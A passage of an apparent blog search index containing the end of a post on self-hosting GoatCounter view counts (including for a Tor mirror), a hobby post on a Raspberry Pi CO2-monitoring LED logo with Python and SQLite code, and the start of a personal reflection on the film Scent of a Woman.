Number(String(j.count).replace(/,/g,\u0026#39;\u0026#39;)); return Number.isFinite(n) ? n : 0; } catch { return null; } } const label = (n) =\u0026gt; (n === null ? \u0026#39;—\u0026#39; : `${nf.format(n)} ${n === 1 ? SING : PLUR}`); ready(async function () { // A) Single post: add to existing meta row + small bottom const post = document.querySelector(\u0026#39;.post-single\u0026#39;); if (post) { const meta = post.querySelector(\u0026#39;.post-header .post-meta, .post-header .entry-meta, .post-meta\u0026#39;); const path = gcPath(); const n = await fetchCount(path); if (meta) { let span = meta.querySelector(\u0026#39;.post-views\u0026#39;); if (!span) { span = document.createElement(\u0026#39;span\u0026#39;); span.className=\u0026#39;post-views\u0026#39;; meta.appendChild(span); } span.textContent = label(n ?? 0); } const after = post.querySelector(\u0026#39;.post-content\u0026#39;) || post; let bottom = post.querySelector(\u0026#39;.post-views-bottom\u0026#39;); if (!bottom) { bottom = document.createElement(\u0026#39;div\u0026#39;); bottom.className=\u0026#39;post-views-bottom\u0026#39;; after.insertAdjacentElement(\u0026#39;afterend\u0026#39;, bottom); } bottom.textContent = label(n ?? 0); } // B) Lists (/posts, home, sections): show “0 views” instead of hiding const cards = document.querySelectorAll(\u0026#39;article.post-entry\u0026#39;); await Promise.all(Array.from(cards).map(async (card) =\u0026gt; { const meta = card.querySelector(\u0026#39;.entry-footer, .post-meta\u0026#39;); const link = card.querySelector(\u0026#39;a.entry-link, h2 a, .entry-title a\u0026#39;); if (!meta || !link) return; try { const u = new URL(link.getAttribute(\u0026#39;href\u0026#39;), location.origin); if (u.origin !== location.origin) return; let span = meta.querySelector(\u0026#39;.post-views\u0026#39;); if (!span) { span = document.createElement(\u0026#39;span\u0026#39;); span.className=\u0026#39;post-views\u0026#39;; meta.appendChild(span); } const n = await fetchCount(u.pathname); span.textContent = label(n ?? 0); } catch {} })); // C) Site totals (optional placeholders) const pvEl = document.getElementById(\u0026#39;vercount_value_site_pv\u0026#39;); if (pvEl) { const n = await fetchCount(\u0026#39;TOTAL\u0026#39;); pvEl.textContent = (n===null) ? \u0026#39;—\u0026#39; : nf.format(n); } }); })(); \u0026lt;/script\u0026gt; Style so meta items stay inline with middle dots (PaperMod‑like). Put this in assets/css/extended/goatcounter.css:\n.post-single .post-header .post-meta, .post-single .post-header .entry-meta, .post-entry .entry-footer, .post-entry .post-meta { display:flex; align-items:center; flex-wrap:wrap; gap:.35rem; } .post-single .post-header .post-meta \u0026gt; *, .post-single .post-header .entry-meta \u0026gt; *, .post-entry .entry-footer \u0026gt; *, .post-entry .post-meta \u0026gt; * { display:inline-flex; align-items:center; white-space:nowrap; } .post-single .post-header .post-meta \u0026gt; * + *::before, .post-single .post-header .entry-meta \u0026gt; * + *::before, .post-entry .entry-footer \u0026gt; * + *::before, .post-entry .post-meta \u0026gt; * + *::before { content:\u0026#34;·\u0026#34;; margin:0 .5rem; opacity:.6; } .post-views-bottom { margin:.6rem 0 0; opacity:.75; font-size:.95em; } 6) Count Tor (.onion) visits into the same site In the .onion server block, proxy GoatCounter endpoints to the same site by forcing the Host header:\n# inside: server { ... } for fjthpp2h3mj2r....onion location = /count { proxy_pass http://127.0.0.1:8081/count; proxy_set_header Host statsblog.alipourimjourneys.ir; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto http; # onion is http } location /counter/ { proxy_pass http://127.0.0.1:8081/counter/; proxy_set_header Host statsblog.alipourimjourneys.ir; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto http; add_header Cache-Control \u0026#34;no-store\u0026#34;; proxy_no_cache 1; proxy_cache_bypass 1; } Because the loader above sets window.goatcounter.endpoint to /count on .onion, both hits and reads stay on the onion origin and are tallied into the same GoatCounter site.\nNote on DNT/Tor: Tor Browser sends DNT: 1. GoatCounter respects DNT by default, so Tor users won’t be counted unless you disable “Respect Do Not Track” in GoatCounter settings. Your choice; I left the code compatible either way.\n7) Troubleshooting quick notes 400 “no site at this domain” → create the site with -vhost=statsblog.alipourimjourneys.ir or fix your proxy Host header. Counts don’t change on onion → verify Tor path via torsocks, watch logs: docker compose logs -f goatcounter # look for “ignored: bot” (curl UA), or DNT being respected DevTools sanity → on clearnet you should see https://statsblog…/count and …/counter/*.json; on onion you should see /count and /counter/*.json (same‑origin). That’s it. One dashboard; clearnet + onion both increment; tiny inline counters everywhere.\nHonestly, self-hosting GoatCounter wasn\u0026rsquo;t as straightforward as I thought it would be. It almost made me cry a few times. I definitly thought about my life choices a few times along the way. But oh well, now it\u0026rsquo;s done and dusted, and I\u0026rsquo;m a happy puppy! :D\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM jSolRg//SwN9nMf9/Wgkr5h\u0026#43;dQowZMCHXXcKWgO8J08ITVDN1\u0026#43;weNNGANFrz63SQ DajHGeSogYW1\u0026#43;AAxJaAeQ7hLdOX9foV5pT\u0026#43;kWANIjRBXnFyW\u0026#43;WR7kt6tmN2rcSH8 z4GKxqE3kdd3kCRhqT0pLiwnurqLgdCK\u0026#43;YldftO6GB8WP4oNDqOwHvoIE6o0ekdH sn7ZBIxMaWc5UqijjqgBHhdHz3uSmL\u0026#43;rN4UwLFM3WXXlwl3HdGyjHcNTG7k648s2 X5\u0026#43;7a78OZAuDElpyp9y6WqiAFJQdrwBbTv3vvpU\u0026#43;f911voV7ZA\u0026#43;KbUqHsQrISTKz cd\u0026#43;tPw2lcayfBZRtHMrL3fygvT3AWktcSavZrU5EOX/u/P7eMWEYu0FYh6aHqRak \u0026#43;Ft2FR7EPlB2faS6wWYfoua6BYxFvevXX1fk\u0026#43;0HhZn9UJxJPaa/WTgVWDgpt\u0026#43;\u0026#43;Ce fdaDmsR69LIj2QTjPMXdQiUKkWPG2ziadTwJEWUHzOuREifmuBgp9Mwedk6zYkdT m5Roi70IPtX3dDDHG5Votw3AKng3gaU7YcNzZVyi3iZkQkUHPUK47Wj21FajikMP gCcWsoYWBRqdhL5XDrodt28AuLpm0cslz79DZdbLnielcjOS\u0026#43;GaUynjLzEWveOib dxLcbIIap\u0026#43;nt315cjvkfatGv14Dres/K7vhQAhqGy5o0LM1D0qc= =o387 -----END PGP SIGNATURE----- Verify locally:\ncurl -fSLO https://blog.alipour.eu/sources/posts/view_count.md curl -fSLO https://blog.alipour.eu/sources/posts/view_count.md.asc gpg --verify view_count.md.asc view_count.md ","permalink":"https://blog.alipour.eu/posts/papermod-views-debugging-story/","summary":"I tried to add a simple \u0026lsquo;views\u0026rsquo; counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix.","title":"A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --\u003e swapped with GoatCounter the GOAT)"},{"content":" I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D\nThe Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it\u0026rsquo;s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!\nSo I crafted the INET logo and gave it a 9-5 job: be a polite barometer. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood.\nThis post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I\u0026rsquo;ll try to include as much detail as I can.\n1) Sketch → CAD → Print I started the way all sensible hardware projects start: with overconfidence and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall I, the curving N, three stacked bars for E, and the long arm of T. Each pocket got:\nMounting bosses for the front diffusers (M2 screws), Cable holes between chambers (rounded to avoid cutting silicone wire), and A small wiring bay for the controller and power. I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at 1-2 mm thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing.\nThe design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it.\n2) The Look I Wanted I wasn\u0026rsquo;t building a stage light. The goal was calm: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the CO₂ monitor in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I\u0026rsquo;m happy with it and want to let it be there doing it\u0026rsquo;s job.\n3) The Tidy Mess Behind the Panel Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day:\nA 330–470 Ω series resistor on the data line right at the first pixel. It damps ringing and prevents weird flickers. A 1000 µF electrolytic across 5V/GND at the strip start. It handles inrush so the first LED doesn’t faint at boot. I route the strip DIN → DOUT through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check before power and bring brightness up slowly on a bench supply.\nThe soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won\u0026rsquo;t be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD\n4) A Web Panel that Stays Out of the Way The web UI is quiet on purpose: a single navbar, a /control page with big same‑size buttons, a /schedule table, a drag‑and‑drop /calendar, a /status page that updates once a second, and /history charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy.\nThere’s also a Safe Mode switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it\u0026rsquo;s not funny for anyone to fidn this out when looking at your creation. So\u0026hellip; yea, I took precautions not to see people getting seizures looking at my creation. :-)\n5) The Color Language for Air The co2_monitor animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight:\n\u0026lt; 500 ppm: Cyan — outdoor‑like fresh air. 500–799: Green — good. 800–1199: Yellow — getting stale. 1200–1499: Orange — poor; you’ll feel it. 1500–1999: Red — ventilate now. ≥ 2000: Purple — the logo is politely yelling. I blend the readings with an exponential moving average and use hysteresis around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow breathing brightness. The result feels alive but never flashy.\nBy default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it\u0026rsquo;s daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it\u0026rsquo;s color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database.\n6) The Code — a guided tour (no giant blob, promise) This whole project runs from a single Python file. Think of it like a tiny orchestra:\none thread conducts the LEDs, one listens politely to the CO₂ sensor, one keeps time as the scheduler, and a small web server hands you the baton when you want to improvise.\nBelow is what each section does, with just enough code to be useful (and not enough to make your eyes cross).\n6.1 Configuration (the knobs) Let\u0026rsquo;s define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers.\nLED_COUNT=78, LED_PIN=18, LED_BRIGHT=255 SCHEDULE_PATH=\u0026#34;schedule.json\u0026#34; DB_PATH=\u0026#34;sensor.db\u0026#34; SAFE_MODE=True # hide flashy animations by default Why it’s like this: simple, explicit defaults → less “why is it dark” debugging.\n6.2 Strip setup + frame-diff (no flicker magic) Now initialize rpi_ws281x.PixelStrip and put a shadow frame buffer in front of it.\nframe = [(0,0,0)] * LED_COUNT _dirty = False def _set_pixel(i, r, g, b): # only touch hardware if the value actually changed if frame[i] != (r,g,b): strip.setPixelColorRGB(i, r, g, b) frame[i] = (r,g,b) global _dirty; _dirty = True def flush(): if _dirty: strip.show(); _dirty=False Why it’s like this: LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call show() with identical data.\n6.3 A tiny color wheel helper Classic rainbow helper used by a few animations:\ndef wheel(pos): # 0..255 → (r,g,b) ... Why it’s like this: I\u0026rsquo;ll use it again and again; it keeps color math out of the animations.\n6.4 State \u0026amp; orchestration Let\u0026rsquo;s hold a registry of animations, a stop flag, and the currently playing thread.\nanimations = {} stop_event = threading.Event() current_thread = None def register(name, safe=True): def wrap(fn): animations[name] = {\u0026#34;fn\u0026#34;: fn, \u0026#34;safe\u0026#34;: safe} return fn return wrap def run_animation(fn): # cooperative hand-off: stop current, start next if current_thread and current_thread.is_alive(): stop_event.set(); current_thread.join() stop_event.clear() t = threading.Thread(target=fn, name=fn.__name__, daemon=True) t.start(); globals()[\u0026#34;current_thread\u0026#34;] = t Why it’s like this: adding a new animation is a one-liner @register(\u0026quot;name\u0026quot;). Clean exits prevent torn frames and half-drawn comets.\n6.5 Animations (the mood) Each animation is a loop that checks stop_event.is_set() and draws frames with _set_pixel(...) + flush().\nredpulse — calm breathing in red; great default. colorwave — slow rainbow that reads clearly behind diffusers. comet — a single head with a fading tail orbiting the logo. They all end with finally: clear_strip() so the panel doesn’t freeze on the last pose if you stop mid-frame.\nWhy it’s like this: cooperative loops + frame-diff = smooth, interruption-safe effects.\n6.6 CO₂ color language (with smoothing + hysteresis) The star of the show. Now map ppm to color bands and keep transitions human-pleasant.\n\u0026lt; 500: Cyan (fresh) 500–799: Green 800–1199: Yellow 1200–1499: Orange 1500–1999: Red ≥ 2000: Purple BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,∞,(123,44,191))] EMA_ALPHA=0.15; HYST=35 # Every tick: ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2 band = hysteresis_aware_band(ema, last_band, HYST) target = BANDS[band].color current = lerp(current, target, 0.10) # gentle hue easing level = breathe(0.25 Hz, low=10, high=220) draw all pixels = current * level Why it’s like this: EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light.\n6.7 Optional SCD41 sensor thread (the polite listener) If the SCD41 is present, a dedicated thread owns I²C and updates a global co2_data dict every few seconds. It also logs to a tiny SQLite database.\ndef _start_sensor(): try: scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement() except: return # sensor optional def loop(): while True: time.sleep(5) if scd4x.data_ready: co2_data.update({...}) db.insert(timestamp, co2, temperature, humidity) threading.Thread(target=loop, daemon=True).start() Why it’s like this: one thread owns the bus → no read contention. The controller keeps working even without a sensor.\n6.8 Scheduler + 90-minute override (humans win, then reset) A background thread asks, every few seconds, which mode should be running:\nIf the user chose something recently (override), respect it for TTL = 90 min (or the duration set in the UI). Otherwise, apply the default schedule (Wednesday 14–17 → slow, else redpulse). Save/load the schedule atomically to schedule.json. def scheduler_pick(): if now \u0026lt; override_until: return override_mode for row in load_schedule(): if matches(now, row): return row[\u0026#34;mode\u0026#34;] return \u0026#34;redpulse\u0026#34; Why it’s like this: you can play DJ for a meeting, and the room quietly returns to its routine afterward.\n6.9 The web panel (tiny Flask, big buttons) Three pages, no fuss:\n/status — live JSON (/status_data) every second → current mode + CO₂/Temp/Humidity. /control — grid of same-size buttons (respects Safe Mode), optional duration (0–180 min) with validation. /schedule — simple table editor; Add Row and Save; writes atomically. @app.post(\u0026#34;/set\u0026#34;) def set_mode(): mode = request.form[\u0026#34;mode\u0026#34;] minutes = clamp( int(form[\u0026#34;duration\u0026#34;]), 0, 180 ) set_override(mode, minutes) run_animation(animations[mode][\u0026#34;fn\u0026#34;]) return redirect(\u0026#34;/control\u0026#34;) Why it’s like this: minimal routes are easier to maintain and don’t compete with the art piece.\n6.10 Boot choreography At startup I:\nTry the sensor thread (if hardware is there). Start the scheduler thread. Immediately play redpulse (so there’s a friendly glow right away). Start Flask; on shutdown I clear the strip. if __name__ == \u0026#34;__main__\u0026#34;: _start_sensor() threading.Thread(target=scheduler_loop, daemon=True).start() run_animation(redpulse) app.run(host=\u0026#34;0.0.0.0\u0026#34;, port=5000) Why it’s like this: the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds.\nTL;DR (but keep the vibes) Frame-diff = no flashes. EMA + hysteresis = smooth, truthful color. Breathing = presence, not signage. Threads per thing (LEDs / sensor / scheduler) = no fights. Atomic files = no corrupted schedules. Safe Mode by default = people \u0026gt; pixels. That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty.\nWhy this shape of code? One thread per hardware thing. The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides what to run and when. No bus fights. Frame diff. I only call strip.show() when a pixel actually changes. That’s why it doesn’t randomly flash during web requests. Atomic schedule saves. The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule. No, you don’t need the sensor. If it’s not connected, the app still runs; co2_monitor just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don\u0026rsquo;t you agree?\n7) Sensor Database — what it stores, where it lives, and how far it goes This project logs room conditions to a tiny SQLite database so you can graph trends, spot stuffy meetings, and keep a record without running a separate server.\nWhat’s stored A single table called readings:\nCREATE TABLE IF NOT EXISTS readings ( timestamp TEXT PRIMARY KEY, -- \u0026#34;YYYY-MM-DD HH:MM:SS\u0026#34; co2 INTEGER, -- ppm temperature REAL, -- °C humidity REAL -- % ); One row per sample (typically every 5–60 seconds; slow it down to reduce writes). timestamp is the primary key → easy “latest” queries and natural time ordering. Where the file lives Path is configurable via env var DB_PATH (see your systemd unit). Default: sensor.db in the app’s working directory (e.g. /home/pi/inet-led/sensor.db). Check size:\nls -lh /home/pi/inet-led/sensor.db How writes happen (and why it’s safe) The sensor thread owns I²C and inserts a row only when the sensor reports data_ready. Inserts are short and journaling protects against power loss. For friendlier read/write concurrency, enable WAL once at startup: PRAGMA journal_mode = WAL; PRAGMA synchronous = NORMAL; Typical size \u0026amp; retention Back-of-envelope:\n~100–200 bytes per row (including overhead). 1 sample/minute → ~1,440 rows/day → ~150–300 KB/day → 55–110 MB/year. If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling). Prune old data (keep last 90 days):\nDELETE FROM readings WHERE timestamp \u0026lt; date(\u0026#39;now\u0026#39;,\u0026#39;-90 day\u0026#39;); (Optionally run VACUUM; after large deletes to reclaim file space.)\nUseful queries Latest reading:\nSELECT * FROM readings ORDER BY timestamp DESC LIMIT 1; Range for charts (last 7 days):\nSELECT * FROM readings WHERE timestamp \u0026gt;= datetime(\u0026#39;now\u0026#39;,\u0026#39;-7 day\u0026#39;) ORDER BY timestamp; Downsample to hourly averages (30 days):\nSELECT strftime(\u0026#39;%Y-%m-%d %H:00:00\u0026#39;, timestamp) AS hour, AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h FROM readings WHERE timestamp \u0026gt;= datetime(\u0026#39;now\u0026#39;,\u0026#39;-30 day\u0026#39;) GROUP BY hour ORDER BY hour; Export to CSV (example via sqlite3 CLI):\nsqlite3 /home/pi/inet-led/sensor.db \u0026lt;\u0026lt;\u0026#39;SQL\u0026#39; .headers on .mode csv .output /home/pi/inet-led/export_readings.csv SELECT * FROM readings ORDER BY timestamp; .output stdout SQL SD card friendliness Choose a sensible interval (e.g., 30–60 s). Optionally buffer in memory and write every N samples. Prefer WAL mode; periodically prune \u0026amp; vacuum. If you care about card wear, place the DB on USB/SSD. Backups \u0026amp; restore Nightly backup (simple):\nsqlite3 /home/pi/inet-led/sensor.db \u0026#34;.backup \u0026#39;/home/pi/backup/sensor-$(date +%F).db\u0026#39;\u0026#34; Restore:\nsudo systemctl stop inet-led Copy backup file back to /home/pi/inet-led/sensor.db sudo systemctl start inet-led Security \u0026amp; permissions chown pi:pi /home/pi/inet-led/sensor.db chmod 600 /home/pi/inet-led/sensor.db Keep the app directory non-world-readable.\nIs SQLite the right choice? Yes, for a single Pi logging every few seconds and rendering local charts:\n✅ Zero admin, a single file, reliable journaling, great performance at this scale. ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine). ⬆️ If you later need multi-device ingestion, alerts, or \u0026gt;10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports. TL;DR SQLite is perfect here: simple, robust, easy to back up. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi.\n8) Run at Boot (systemd) I wrote this simple systemd to /etc/systemd/system/inet-led.service so that it runs the script when RPi boots up:\n[Unit] Description=INET LED Panel After=network.target [Service] ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py WorkingDirectory=/home/pi/inet-led Restart=always User=pi Environment=LED_COUNT=78 Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json Environment=DB_PATH=/home/pi/inet-led/sensor.db [Install] WantedBy=multi-user.target Then you can run:\nsudo systemctl daemon-reload sudo systemctl enable --now inet-led journalctl -u inet-led -f to control the systemd service.\n9) Soldering Notes (a love letter to hot glue) Tin first, solder second. Tiny pads like tiny puddles. Fast in/out, no lifted pads. Stagger joints so nothing stacks under the diffuser. Heat‑shrink + a dot of hot glue = happier future you. Continuity before power. Multimeter first, electrons last. If a pad does lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works. Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable\u0026hellip; So\u0026hellip; yea.\n10) Why these design choices? Calm motion, not flashy. Meeting rooms breed fatigue; the light should be a helper, not a distraction. Cyan→Purple language. Easy to learn, visible at a glance, meaningful without numbers. White charts, dark UI. Data should be legible on a projector; buttons shouldn’t shout. Safe Mode default. People first. Demos are opt‑in. PLA body, PLA diffuser. Fast and easy rapid prototyping, easy and fast printing. 11) What I learned A logo is a better messenger than a dashboard. Everyone knows what orange means without a legend. If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering! Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^ 12) Final notes I did this project as a fun distraction and \u0026ldquo;not work\u0026rdquo; as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I\u0026rsquo;m so so thankful of my advisor for this cool idea, and all the support. It\u0026rsquo;s not the first time I\u0026rsquo;ve been gifted such toys, and as I have recieved other things after that, I know it\u0026rsquo;s not the last.\nThere is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let\u0026rsquo;s hope that doesn\u0026rsquo;t turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!*\nThe whole project took around 8 days, 4 of which were part of a long weekend. I did do some \u0026ldquo;not work\u0026rdquo; as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don\u0026rsquo;t know how the group feels/thinks about the logo, but I love it! I hope it won\u0026rsquo;t die after I leave, but even if so, so be it. I had my fun with it. :)\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM jSoc5w/\u0026#43;Ij7a9UuglnzXQSMNA8VkN84qokmVTaI9mN6BY/aJQLjWWwJFi5Ih7qKw 0oWl2ZZ6FHKdAo2\u0026#43;gAajxhg0vf0DUGZNwsD0NJsHAuei8ezvgb4TKIfAMspKC\u0026#43;9J CgcvqbZdC\u0026#43;M2c3PcPPA4UV5reYclf9PisEsmJSiR\u0026#43;cyDaCtNJkYjQ9SSZMO\u0026#43;BV93 k6I20tEILeR/l72ahSGyGCQxFTkI\u0026#43;cE5EOglG\u0026#43;AJP7HnLArcBUplixjLS7j/gq13 U/TeRhI5R6RG0sCzaTsyUMhfc/7be0PeU5EZTf8e21dv6c6RRWiYe\u0026#43;kXXv1wH1yE sfJnMxiQ2YJqxUXDjJNJt1R\u0026#43;4yWpznmqYoOcW1/T8ySuYCrzx5XBdGB9XThQAxZg sDsV6dgcPJUSvpuZqPmQicTu/\u0026#43;BL9QdmB4bASxDhRUX2KkK1RKRTBGP73l79vUmP QUuBm7o7sHpSUax7CEE\u0026#43;vbjC9FubL5D6i6nSIesTImpR2P7ycaWboFPYREC2q3ma B/WmnHiYbrhiLMNRrAHFdiCSHPd9JKiNK\u0026#43;9C8ASsDpEz8yvf2Ef9yhp0sYZ6ZBkb Bs\u0026#43;BKOoDWDsI7NkT/hFBeWMrTTWpTDoRf2UGk1HI2Iaz7Fh\u0026#43;hXljpEPyQ/Mq3s0X o9h8Z1rq9m7nIwmpLNW\u0026#43;vEiL81/SrnjJE8/\u0026#43;kA/\u0026#43;J2p9TNBYcn8= =tAeg -----END PGP SIGNATURE----- Verify locally:\ncurl -fSLO https://blog.alipour.eu/sources/posts/inet_logo.md curl -fSLO https://blog.alipour.eu/sources/posts/inet_logo.md.asc gpg --verify inet_logo.md.asc inet_logo.md ","permalink":"https://blog.alipour.eu/posts/inet_logo/","summary":"\u003cblockquote\u003e\n\u003cp\u003eI didn’t add a warning sign to the room. I taught the \u003cstrong\u003elogo\u003c/strong\u003e to breathe. ;-D\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003eThe Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it\u0026rsquo;s not good at is \u003cstrong\u003eventilating\u003c/strong\u003e itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!\u003c/p\u003e","title":"INET Logo That Breathes — From CAD to LEDs to a Calm Little Server"},{"content":"I\u0026rsquo;m not a big movie watcher. In fact, I don\u0026rsquo;t remember the last time I watched a whole movie in a single day. It\u0026rsquo;s not that I don\u0026rsquo;t enjoy it, it\u0026rsquo;s that I want to do this with at least another person. It feels much better to not be alone when watching a movie for me for some reason. Buuuut, I watched Scent of a Woman on Sunday, and after my therapist encouraged me to do so.\nFew points before I begin.\nThis was aside from the therapy session. My therapist does not tell me what to do, or if I\u0026rsquo;m wrong or right or anything like that. I watched this movie in about two parts in a single day! I knew Al Pacino\u0026rsquo;s face from Godfather series, but didn\u0026rsquo;t know his name. I\u0026rsquo;m not a big movie person, so whatever I say should be taken with a grain of salt. Just don\u0026rsquo;t be offended, take it face up and as is. The movie is about a good young student named Chris O\u0026rsquo;Donnell, played by Charlie Simms ,who is dependent on a scholarship to continue his studies after school, worthy of going to Harvard.\nThe second main character of the movie is a blind man called Lt. Col. Frank Slade, played by Al Pacino, who is an arrogant, rude, assertive, proud, self-centered person that gives bad vibes throughout the movie.\nChris needs to work over the thanksgiving weekend, just to be able to make it home during Christmas. He lives with his mother, and a not so nice step-father who isn\u0026rsquo;t really there for him.\nWhen taking the job to watch over Frank, he quickly realizes what a hard task this will be, but the lady who hires him (Karen Rossie) being his niece assures him that he is a pile of suger under these bad vibes, and that she needs him to do this for her for these fea days. At last Chris agrees.\nUpon Karen\u0026rsquo;s leaving, Frank gets ready for a trip to New York. To do his last vows before taking his own life without Chris knowing this.\nHe plans staying at a nice hotel, having an awesome Meal at a gorgeous restaurant, seeing a woman, his brother, and then taking his own life.\nFrank is in love with Jack Daniel\u0026rsquo;s and cannot get enough of it. Throughout the movie this drunk, addiction-like behaviour is portrayed.\nFrank also learns about a problem Chris is facing. Chris is being forced to snitch on a group of the people he knows, or he will be expelled and loses his chance to got o Harvard with another scholarship. He doesn\u0026rsquo;t want to snitch, but frank learns about this, he encourages him to take the deal.\nFrank then tries to teach Chris how to flirt, how to get woman, and how to be a gentleman. There is an amazing scene in the movie where Frank tries to setup Chris with a girl who is waiting for her boyfriend! He dances Tango with her and this scene is probably the most majestic scene in any movie I have ever seen. The feelings I got were so strong and positive that I just cannot express!\nIn the end, when Frank wants to take his own life, Chris stops him and talks him out of it. He helps him to ride a Ferrari, the second thing he liked in his life (the first thing was woman lmao!). A police officer stopped them because they were going too fast, and Frank spoke his way out of the ticket! The officer didn\u0026rsquo;t even recognize Frank was blind!!!!\nAfter these emotional roller coaster, Chris became ever-so attached to Frank, and so did Frank become attached to Chris, showing up to an open student hearing in place of Chris\u0026rsquo;s parent.\nChris ended up not snitching, and Frank spoke up for him, saying how big of a man is he! How valuable he is, and how disgusting the acts of the other kid who also could snitch but hid behind his father\u0026rsquo;s back was.\nIn essense, the movie was amazing, with great acting all over it. The characters portreayed their roles as amazingly as possible. I loved the movie and how we got to know the characters more and more as the movie went on, and how the story progressed.\nThe story was also amazing. Characters really added life to the scenes by their amazing play. Donna did the tango dance professionaly. Al Pacino played to role of a blind man very well, you would easily be fooled by his amazing acting.\nThat leaves me thinking about why did my therapist suggested me to watch this movie and asked me to tell him how I felt and how I thought about the movie?\nWas it about Frank? That I was trying to be Chris, protecting and caring for 